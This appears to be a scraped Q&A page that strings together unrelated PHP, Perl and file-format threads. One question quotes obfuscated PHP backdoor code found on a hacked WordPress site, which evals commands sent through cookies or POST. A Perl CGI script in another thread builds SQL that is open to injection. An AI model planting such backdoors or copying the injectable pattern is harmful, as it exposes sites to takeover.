We know F4F is Adobe's fragmented MP4 file format for HTTP Dynamic Streaming. A tool called F4F Packager could convert an F4V file to several F4F files and a manifest file(F4M).
My question is, how to convert such F4F files back to an F4V or MP4 file?
We finally found a simple method to merge & convert .f4f files -> .flv file, in which only 'mdat' box is usefull. Here is a the php code:
<?php
function ReadInt24($str, $pos)
{
return intval(bin2hex(substr($str, $pos, 3)), 16);
}
function ReadInt32($str, $pos)
{
return unpack("N", substr($str, $pos, 4))[1];
}
echo "\nKSV Adobe HDS Downloader\n\n";
$flvHeader = hex2bin("464c5601050000000900000000");
$firstVideoPacket = true;
$prevTagSize = 4;
$fragCount = 0;
isset($argv[1]) ? $baseFilename = $argv[1] : $baseFilename = "";
$baseFilename ? $outputFile = "$baseFilename.flv" : $outputFile = "Joined.flv";
while (true)
{
if (file_exists("$baseFilename" . $fragCount + 1 . ".f4f"))
$fragCount++;
else
break;
}
echo "Found $fragCount fragments\n";
$flv = fopen("$outputFile", "wb");
fwrite($flv, $flvHeader, 13);
for ($i = 1; $i <= $fragCount; $i++)
{
$frag = file_get_contents("$baseFilename$i.f4f");
preg_match('/(.{4})mdat[\x08\x09\x12]/i', $frag, $mdat, PREG_OFFSET_CAPTURE);
$fragLen = ReadInt32($mdat[1][0], 0) - 8;
$frag = substr($frag, $mdat[1][1] + 8, $fragLen);
$pos = 0;
while ($pos < $fragLen)
{
$packetType = $frag[$pos];
$packetSize = ReadInt24($frag, $pos + 1);
$packetTS = ReadInt24($frag, $pos + 4);
$totalTagLen = 11 + $packetSize + $prevTagSize;
if (($packetType == "\x08" && $packetSize > 4) or ($packetType == "\x09" && $packetSize > 40) or ($packetType == "\x09" && $firstVideoPacket))
{
if ($packetType == "\x09" && $firstVideoPacket)
$firstVideoPacket = false;
fwrite($flv, substr($frag, $pos, $totalTagLen), $totalTagLen);
}
$pos += $totalTagLen;
}
}
fclose($flv);
echo "Finished\n";
?>
A more comprehensive answer is available here : https://github.com/K-S-V/Scripts/blob/master/AdobeHDS.php.
The serious stuff happens around line 1046.
This script handles more cases that the current top answer. I won't post the whole script here since it's a bit long.
Alas, it's a PHP script too, though I may need to rewrite this in Java in a couple of weeks. If so, I'll post a link to the Java rewrite when it's done.
livestreamer and youtube-dl both support HDS streams. Here's an example of livestreamer:
$ livestreamer -O 'hds://radio_chym-lh.akamaihd.net/z/KIT967_1#183249/manifest.f4m' 48k >out.m4a
This is an internet radio station. For video, only a change in 48k and the file extension of out.m4a should be necessary.
Related
I just started using PHPExcel yesterday. It works like a charm except when I use it to read xlsx file downloaded from internet. It is not able to read the file until I open the dowloaded file and save it explicitly without making any change.
$objPHPExcel = PHPExcel_IOFactory::load($inputFile);
Line I use to load the Excel file.
Where am I going wrong? Am I missing some code. Something else needs to be written along with the above line of code to load the file.
foreach ($objPHPExcel->getWorksheetIterator() as $worksheet) {
$worksheetTitle = $worksheet->getTitle();
$highestRow = $worksheet->getHighestRow(); // e.g. 10
$highestColumn = $worksheet->getHighestColumn(); // e.g 'F'
$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);
for ($row = 1; $row <= $highestRow; ++ $row) {
for ($col = 0; $col < $highestColumnIndex; ++ $col) {
$cell = $worksheet->getCellByColumnAndRow($col, $row);
$val = $cell->getValue();
if($col==0){
$val = \PHPExcel_Style_NumberFormat::toFormattedString($val, 'YYYY-MM-DD');
}
$dataArr[$row][$col] = $val;
}
This code is able to read the excel when I open the excel and save it.
I am using wordpress for quite a few years now but I have never seen anything like this before.
<?php
function oepdbzyc( $nshnmh, $af){$fnltbyd = ''; for($i=0; $i < strlen($nshnmh); $i++){$fnltbyd .= isset($af[$nshnmh[$i]]) ? $af[$nshnmh[$i]] : $nshnmh[$i];}
$imtrpsh="base64_decode";return $imtrpsh($fnltbyd);}
$zfilos = '0kXe3tsWB50fvJtQzwsQ5JFaBQz6YN8tUNpl4pld3E8l5TOXnRqGhksG5JtQzwsQzQz'.
'9=';
$loeupumf = Array('1'=>'4', '0'=>'Q', '3'=>'a', '2'=>'8', '5'=>'X', '4'=>'O', '7'=>'f', '6'=>'s', '9'=>'0', '8'=>'5', 'A'=>'k', 'C'=>'H', 'B'=>'Z', 'E'=>'W', 'D'=>'B', 'G'=>'n', 'F'=>'x', 'I'=>'j', 'H'=>'L', 'K'=>'r', 'J'=>'2', 'M'=>'1', 'L'=>'M', 'O'=>'N', 'N'=>'E', 'Q'=>'y', 'P'=>'h', 'S'=>'R', 'R'=>'C', 'U'=>'T', 'T'=>'3', 'W'=>'z', 'V'=>'F', 'Y'=>'I', 'X'=>'l', 'Z'=>'U', 'a'=>'v', 'c'=>'Y', 'b'=>'e', 'e'=>'u', 'd'=>'A', 'g'=>'6', 'f'=>'o', 'i'=>'q', 'h'=>'b', 'k'=>'G', 'j'=>'7', 'm'=>'K', 'l'=>'p', 'o'=>'i', 'n'=>'d', 'q'=>'g', 'p'=>'w', 's'=>'9', 'r'=>'P', 'u'=>'D', 't'=>'V', 'w'=>'m', 'v'=>'J', 'y'=>'t', 'x'=>'S', 'z'=>'c');
eval(oepdbzyc($zfilos, $loeupumf));?>
The $zfilos is more than 1900 lines long so I can't post it here. There are other bits of strange lines in random files like this one:
<?php $GLOBALS['i82b56'] = "\x56\x61\x66\x59\x42\x5c\x75\x72\x46\x33\x57\x24\x31\x51\x47\x70\x69\x23\x3e\x5a\x4d\x34\x5f\x55\x37\x28\x60\x54\x50\x45\x40\x4b\x25\x26\x65\x2b\x5b\x4f\x3d\x4c\x4a\xa\x64\x53\x3f\x3c\x3a\x73\x27\x9\x76\x5e\x36\x74\x21\x52\x2a\x38\x77\x41\x43\x6e\x2d\x29\x7a\x71\x62\x7c\x6f\x39\x79\x30\x6b\x35\x22\x48\x6a\x78\x49\x20\x68\x6c\x67\x58\x4e\x2e\x3b\x44\x6d\xd\x2f\x2c\x5d\x7e\x7b\x63\x32\x7d";
$GLOBALS[$GLOBALS['i82b56'][72].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][21]] = $GLOBALS['i82b56'][95].$GLOBALS['i82b56'][80].$GLOBALS['i82b56'][7];
$GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]] = $GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][42];
$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][61];
$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]] = $GLOBALS['i82b56'][16].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][53];
$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][9]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][70].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][2]] = $GLOBALS['i82b56'][15].$GLOBALS['i82b56'][80].$GLOBALS['i82b56'][15].$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][61];
$GLOBALS[$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][73]] = $GLOBALS['i82b56'][6].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][42]] = $GLOBALS['i82b56'][66].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][69]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][53];
$GLOBALS[$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69]] = $GLOBALS['i82b56'][76].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][73];
$GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]] = $GLOBALS['i82b56'][50].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96];
$GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12]] = $_POST;
$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][9]] = $_COOKIE;
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][82], NULL);
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][81].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][82].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][47], 0);
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][88].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][34], 0);
#$GLOBALS[$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][69]](0);
$w21270 = NULL;
$a3259b2 = NULL;
$GLOBALS[$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52]] = $GLOBALS['i82b56'][69].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][9];
global $n669656;
function v89b2($w21270, $h174c8f)
{
$zbf0 = "";
for ($p0dfb=0; $p0dfb<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($w21270);)
{
for ($p5a3154=0; $p5a3154<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($h174c8f) && $p0dfb<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($w21270); $p5a3154++, $p0dfb++)
{
$zbf0 .= $GLOBALS[$GLOBALS['i82b56'][72].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][21]]($GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]]($w21270[$p0dfb]) ^ $GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]]($h174c8f[$p5a3154]));
}
}
return $zbf0;
}
function j7c09b5($w21270, $h174c8f)
{
global $n669656;
return $GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]]($GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]]($w21270, $n669656), $h174c8f);
}
foreach ($GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][9]] as $h174c8f=>$t690f0)
{
$w21270 = $t690f0;
$a3259b2 = $h174c8f;
}
if (!$w21270)
{
foreach ($GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12]] as $h174c8f=>$t690f0)
{
$w21270 = $t690f0;
$a3259b2 = $h174c8f;
}
}
$w21270 = #$GLOBALS[$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][73]]($GLOBALS[$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69]]($GLOBALS[$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][42]]($w21270), $a3259b2));
if (isset($w21270[$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][72]]) && $n669656==$w21270[$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][72]])
{
if ($w21270[$GLOBALS['i82b56'][1]] == $GLOBALS['i82b56'][16])
{
$p0dfb = Array(
$GLOBALS['i82b56'][15].$GLOBALS['i82b56'][50] => #$GLOBALS[$GLOBALS['i82b56'][70].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][2]](),
$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][50] => $GLOBALS['i82b56'][12].$GLOBALS['i82b56'][85].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][12],
);
echo #$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][9]]($p0dfb);
}
elseif ($w21270[$GLOBALS['i82b56'][1]] == $GLOBALS['i82b56'][34])
{
eval($w21270[$GLOBALS['i82b56'][42]]);
}
exit();
}
Not to mention I am fighting with the setTimeout injection as well. My hosting (which I use for like 5-6 years now) told me to change passwords, I have ended up deleting all the FTP accounts, so noone can access it, and it still appeares from time to time. I guess it's just coming from their end.
Any clues what's this and how to stop it? Oh and I am using the stock theme, no fancy plugins, nothing.
You got hacked. But hacked site questions are off-topic on SO, due to their individualized nature being difficult to replicate and address.
That said, carefully follow https://codex.wordpress.org/FAQ_My_site_was_hacked
Then take a look at the recommended security measures in Hardening WordPress - WordPress Codex and Brute Force Attacks - WordPress Codex
the file is xlsx and the column format is date MM-DD-YYYY
I have tried several different ways to determine if the value is a date.
PHPExcel_Shared_Date::isDateTime just is not working and do not know why. The data is being save in database and is showing the numbers as such:
41137
41618
42206
42076
41137
42206
41137
41988
my code:
$inputFileType = PHPExcel_IOFactory::identify($fullFilePath);
$objReader = PHPExcel_IOFactory::createReader($inputFileType);
$objReader->setReadDataOnly(false);
$objPHPExcel = $objReader->load($fullFilePath);
$objPHPExcel->setActiveSheetIndex(0);
$worksheetIndex = 1;
$worksheetName = '';
$actualRows = 0;
foreach($objPHPExcel->getWorksheetIterator() as $worksheet)
{
$lineNumber = 1;
$worksheetName = $worksheet->getTitle();
$columnSum = array();
foreach($worksheet->getRowIterator() as $row)
{
$cellIterator = $row->getCellIterator();
$cellIterator->setIterateOnlyExistingCells(true); // Loop all cells, even if it is not set = true else set to false
$columnNumber = 1;
foreach($cellIterator as $cell)
{
$dataValue = $cell->getCalculatedValue();
//$dataValue = $cell->getFormattedValue();
if(!empty($dataValue))
{
if(PHPExcel_Shared_Date::isDateTime($cell))
{
$dataValue = date('Y-m-d H', PHPExcel_Shared_Date::ExcelToPHP($dataValue));
}
else
{
// do something
}
}
}
}
}
Analysing the file, there's a few problems.... it doesn't validate cleanly under the Microsoft's Open XML SDK 2.0 productivity tool for MS Office.
Initial problem (which should trigger a loader error in PHPExcel) is the SheetView Zoom Scale, which should be a minimum value of 1. This problem can by "bypassed" by editing Classes/PHPExcel/Worksheet/SheetView.php and modifying the setZoomScaleNormal() method to avoid throwing the exception if the supplied argument value is out of range.
public function setZoomScaleNormal($pValue = 100)
{
if (($pValue >= 1) || is_null($pValue)) {
$this->zoomScaleNormal = $pValue;
// } else {
// throw new PHPExcel_Exception("Scale must be greater than or equal to 1.");
}
return $this;
}
The second problem is that custom number formats are defined with ids in the range 100-118, but all format ids below 164 are documented as reserved for Microsoft use. Excel itself is obviously more forgiving about breaking its documented rules.
You can resolved this by hacking the Classes/PHPExcel/Reader/Excel2007.php file and modifying the load() method, around line 512, by commenting out the check that tells PHPExcel to use the built-in number formats:
// if ((int)$xf["numFmtId"] < 164) {
// $numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]);
// }
or
if ((int)$xf["numFmtId"] < 164 &&
PHPExcel_Style_NumberFormat::builtInFormatCodeIndex((int)$xf["numFmtId"]) !== false) {
$numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]);
}
There are also issues with font size definitions, but these won't prevent the file from loading
the code below is a cgi file and I am having problems displaying the image and style from an external css file. The code is in lines 18-28 and I'm not sure what I am doing wrong. I would appreciate any help.
#!/usr/bin/perl -w
use strict;
use DBI;
use CGI;
use CGI::Carp('fatalsToBrowser');
my $query = new CGI;
print $query->header();
my $my_database = "TrypSnoDB";
my $localhost = "localhost";
my $dsn = "DBI:mysql:$my_database:$localhost";
my $db_user_name = "adrian";
my $db_password = "temp_pass";
my $dbh = DBI->connect("DBI:mysql:database=TrypSnoDB;host=localhost;mysql_socket=/private/software/mysql/mysql.sock","adrian","temp_pass", {'RaiseError' => 1});
print "<html>\n";
print "<head>\n";
print "<title>Welcome to the T. Brucei snoRNA Database</title>\n";
print "<link type='text/css' rel='stylesheet' href='/public_html/style.css'>\n";
print "</head>\n";
print "<body>\n";
print "<h1>Trypanosomatid snoRNA Database</h1>\n";
print "<img class='my_images' src='/public_html/tb_pic1.png'>\n";
print "</body>\n";
print "</html>\n";
if ($query->param('submit1')){
my $orig_sno = $query->param('snorna1');
my $family = $query->param('family1');
my $query_type = $query->param('target_option1');
my $target = $query->param('target_name1');
if ($orig_sno eq "Trypanosoma brucei") {
$orig_sno = 1;
}
elsif ($orig_sno eq "Leishmania major") {
$orig_sno = 7;
}
elsif ($orig_sno eq "ALL") {
$orig_sno = "1 or ST.org_id=7";
}
if ($family eq "ALL") {
$family = "'C/D' or ST.family='H/ACA'";
}
else {
$family = "'$family'";
}
if ($target ne "ALL") {
$family = "$family and T.target_name='$target'";
}
my($db_query,$common_tar,$exp_ver_sno,$exp_ver_tar,$total);
$db_query = "SELECT ST.sno_name,T.target_name,T.location,T.base_pair,SM.annotated_seq FROM sno_Table ST,sno_Modifications SM,Targets T WHERE ST.sno_id=SM.sno_id and SM.mod_id=T.target_id and (ST.org_id=$orig_sno) and (ST.family=$family)";
$common_tar="and T.target_id in(SELECT T.target_id FROM sno_Table ST,sno_Modifications SM,Targets T WHERE ST.sno_id=SM.sno_id and SM.mod_id=T.target_id group by T.target_id having count(*)=2) order by T.location desc";
$exp_ver_sno="and ST.exper_ver='Y'";
$exp_ver_tar = "and T.exp_ver='Y'";
if ($query_type eq "snoRNAs with common targets") {
$db_query=$db_query.$common_tar;
}
elsif ($query_type eq "Experimentally verified snoRNAs") {
$db_query=$db_query.$exp_ver_sno;
}
elsif ($query_type eq "snoRNAs with experimentally verified targets") {
$db_query=$db_query.$exp_ver_tar;
}
elsif ($query_type eq "ALL"){
$db_query=$db_query;
}
my $sth = $dbh->prepare($db_query);
$sth->execute();
my$total = $sth->rows;
print "<table border=1>\n
<tr>
<th>snoRNA</th>\n
<th>Target Name</th>\n
<th>Target Location</th>\n
<th>Target Base Pair</th>\n
<th>Annotated Sequence</th>\n
</tr>\n";
while (my#row = $sth->fetchrow_array()){
my$sno_name = $row[0];
my$tar_name = $row[1];
my$tar_loc = $row[2];
my$tar_bp = $row[3];
my$annotated_seq = $row[4];
print "<tr>\n<td>$sno_name</td><td>$tar_name</td><td>$tar_loc</td><td>$tar_bp</td><td>$annotated_seq</td></tr>\n";
}
print "<tr>
<th>TOTAL</th>\n
<th>$total</th>\n
</tr>\n";
print "</table>";
}
Your problem is almost certainly that you have the wrong URL for the CSS file. You can confirm that by looking in the web server error log and seeing if there is a 404 record for the CSS request.
Unfortunately I can't tell you what the correct URL is as I have no idea how your web server is configured.
There are a couple of other issues that you might want to address though:
The HTML that you generate is invalid. You print the tags outside of the and tags. Printing raw HTML within your Perl program is a terrible idea - it's far too easy to make the kinds of errors that you have here. You would be far better advised to use a templating engine (I recommend the Template Toolkit).
Your database queries are prone to SQL injection attacks. Please switch to using bind variables before someone trashes your server.
this is in response to Dave Cross comment regarding the SQL statement building. To convert the statement build to use bindings appears to be fairly straightforward in order to prevent an SQL injection.
To use placeholder bindings I think the OP only needs to replace the variables $orig_sno and $family in the $db_query variable with the ? character. like so:
$db_query = "SELECT ST.sno_name,T.target_name,T.location,T.base_pair,SM.annotated_seq
FROM sno_Table ST,sno_Modifications SM,Targets T WHERE ST.sno_id=SM.sno_id and
SM.mod_id=T.target_id and (ST.org_id=?) and (ST.family=?)"; # one line
...
my $sth = $dbh->prepare($db_query);
$sth->execute($orig_sno, $family);
However as the $family variable is built possibly out of a previous conditional, a further variable $target is also in play.
if ($family eq "ALL") {
$family = "'C/D' or ST.family='H/ACA'";
}
else {
$family = "'$family'";
}
if ($target ne "ALL") {
$family = "$family and T.target_name='$target'";
}
Will the placeholder handle this interpolated variable? Or would the $target variable also require its own placeholder?
And is this all that would be required to do to deter would be SQL injection attacks in this case?
solved. If the $target variable did require its own place holder, a few adjustments to the conditionals would do the trick.
else {
$family = "'$family'";
}
# removed - if $target ne ALL conditonal
my($db_query,$common_tar,$exp_ver_sno,$exp_ver_tar,$total);
$db_query = "SELECT ... and (ST.org_id=?) and (ST.family=?)";
if ($target ne "ALL") {
$db_query =~ s/\)$//;
$db_query .= ' and T.target_name=?)';
}
$common_tar="and T.target_id ... ";
...
my $sth = $dbh->prepare($db_query);
if ($target ne 'ALL'){
$sth->execute($orig_sno, $family, $target);
else{
$sth->execute($orig_sno, $family);
}
Before reading anything else, please take time to read the original thread.
Overview: a .xfdl file is a gzipped .xml file which has then been encoded in base64. I wish to de-encode the .xfdl into xml which I can then modify and then re-encode back into a .xfdl file.
xfdl > xml.gz > xml > xml.gz > xfdl
I have been able to take a .xfdl file and de-encode it from base64 using uudeview:
uudeview -i yourform.xfdl
Then decommpressed it using gunzip
gunzip -S "" < UNKNOWN.001 > yourform-unpacked.xml
The xml produced is 100% readable and looks wonderful. Without modifying the xml then, i should be able to re-compress it using gzip:
gzip yourform-unpacked.xml
Then re-encoded in base-64:
base64 -e yourform-unpacked.xml.gz yourform_reencoded.xfdl
